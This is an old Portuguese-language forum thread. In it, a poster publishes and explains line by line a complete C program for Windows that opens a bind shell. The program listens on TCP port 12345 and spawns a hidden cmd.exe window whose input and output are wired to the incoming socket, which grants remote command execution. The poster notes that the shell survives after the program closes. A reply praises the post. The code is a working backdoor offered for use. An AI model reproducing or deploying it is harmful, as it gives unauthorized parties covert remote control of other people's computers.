Shell Remota - C/C++

Started by Dark_Side, 20 de December , 2006, 02:58:23 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Dark_Side

Hi,

O link http://www.rootkit.com/board.php?did=ed ... &disp=1019 mostra como retornar uma shell a um computador remoto, utilizando a API do Winsock (WSA) e a função CreateProcess(). Achei a técnica interessante e resolvi escrever este para fixar algo, que até então ignorava, e passei a conhecer.

Vejamos o código:

#include <windows.h> // ZeroMemory()
#include <winsock2.h> // API do Winsock

#define PORTA      12345

int main()
{
 WSADATA wsainfo;
 SOCKET sock;
 struct sockaddr_in addr;
 
 STARTUPINFO ini_info;
 PROCESS_INFORMATION proc_info;
 
  if(WSAStartup(0x202,&wsainfo) == SOCKET_ERROR)
     return 1;
 
  if((sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,NULL,0)) == SOCKET_ERROR)
     return 1;

   addr.sin_family       = AF_INET;
   addr.sin_port         = htons(PORTA);
   addr.sin_addr.s_addr  = INADDR_ANY;
   
  if(bind(sock,(struct sockaddr*)&addr,sizeof(addr)) == SOCKET_ERROR)
     return 1;
 
  listen(sock,1);
 
  if((sock = accept(sock,0,0)) == SOCKET_ERROR)
     return 1;
   
  ZeroMemory(&ini_info, sizeof(STARTUPINFO));
  ZeroMemory(&proc_info, sizeof(PROCESS_INFORMATION));
 
  ini_info.cb          =  sizeof(STARTUPINFO);
  ini_info.dwFlags     =  STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  ini_info.wShowWindow =  SW_HIDE;
  ini_info.hStdInput   = ini_info.hStdOutput = ini_info.hStdError = (HANDLE)sock;
 
  CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &ini_info, &proc_info);
     
return 0;
}

Explicando o código:

#define PORTA      12345

O servidor irá aguardar conexões na porta 12345.

WSADATA wsainfo;
 SOCKET sock;
 struct sockaddr_in addr;

Acima temos as variáveis utilizadas para inicializar o winsock, criar e configurar o socket, respectivamente.

STARTUPINFO ini_info;
 PROCESS_INFORMATION proc_info;

A variável "ini_info" irá armazenar as informações de inicialização do processo "cmd.exe"  - shell. As informações gerais relacionadas ao processo serão armazenadas em "proc_info".


Inicializa o winsock versão 2.2:

  if(WSAStartup(0x202,&wsainfo) == SOCKET_ERROR)
     return 1; // Encerra em caso de erro

Tenta criar um socket para ser usado com o protocolo TCP:
 
if((sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,NULL,0)) == SOCKET_ERROR)
     return 1;

A configuração do socket é feita através do trecho abaixo:

   addr.sin_family       = AF_INET; // Família -> Internet
   addr.sin_port         = htons(PORTA); // Porta usada para escutar conexões
   addr.sin_addr.s_addr  = INADDR_ANY; // Aceita conexões de qualquer host

Tenta configurar o socket localmente:

  if(bind(sock,(struct sockaddr*)&addr,sizeof(addr)) == SOCKET_ERROR)
     return 1;

Coloca-o aguardando uma conexão:

  listen(sock,1);

Quando um pedido de conexão é feito, tenta-se aceitá-lo:

  if((sock = accept(sock,0,0)) == SOCKET_ERROR)
     return 1;

Limpa as estruturas "ini_info" e "proc_info":

  ZeroMemory(&ini_info, sizeof(STARTUPINFO));
  ZeroMemory(&proc_info, sizeof(PROCESS_INFORMATION));

Ajusta as configurações de inicialização da shell (cmd.exe):

  ini_info.cb          =  sizeof(STARTUPINFO); // Define tamanho da estrutura

  // Permite a definição dos valores: wShowWindow, hStdInput, hStdOutput e hStdError:
  ini_info.dwFlags     =  STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
 
  ini_info.wShowWindow =  SW_HIDE; // Oculta a janela do processo
 
  // Direciona entrada/saída de dados do processo para o socket
  ini_info.hStdInput   = ini_info.hStdOutput = ini_info.hStdError = (HANDLE)sock;
 
Tenta criar o processo:

  CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &ini_info, &proc_info);

A parte mais importante para que seja possível retornar a shell remotamente, está no seguinte trecho:

  // Direciona entrada/saída de dados do processo para o socket
  ini_info.hStdInput   = ini_info.hStdOutput = ini_info.hStdError = (HANDLE)sock;

A linha acima faz com que todos os dados recebidos do cliente sejam executados pela shell (cmd.exe) e faz com que o resultado seja direcionado para este mesmo cliente. O mesmo ocorre quando um comando é inválido por exemplo.
Resumidamente, ao invés dos comandos passados à shell serem mostrados na tela, estes são executados neste shell e retorna-se ao cliente, os resultados =)

Veja a imagem:



O interessante é que, mesmo fechando o aplicativo, após criado o processo "cmd.exe" o cliente continua tendo acesso à shell ;)

Anonymous

huahua muito bom

parabens (y)

QuoteO interessante é que, mesmo fechando o aplicativo, após criado o processo "cmd.exe" o cliente continua tendo acesso à shell

bom aqui cai quando eu faz isso :P

------------------------

only a perfectionist should know that perfetion does not exist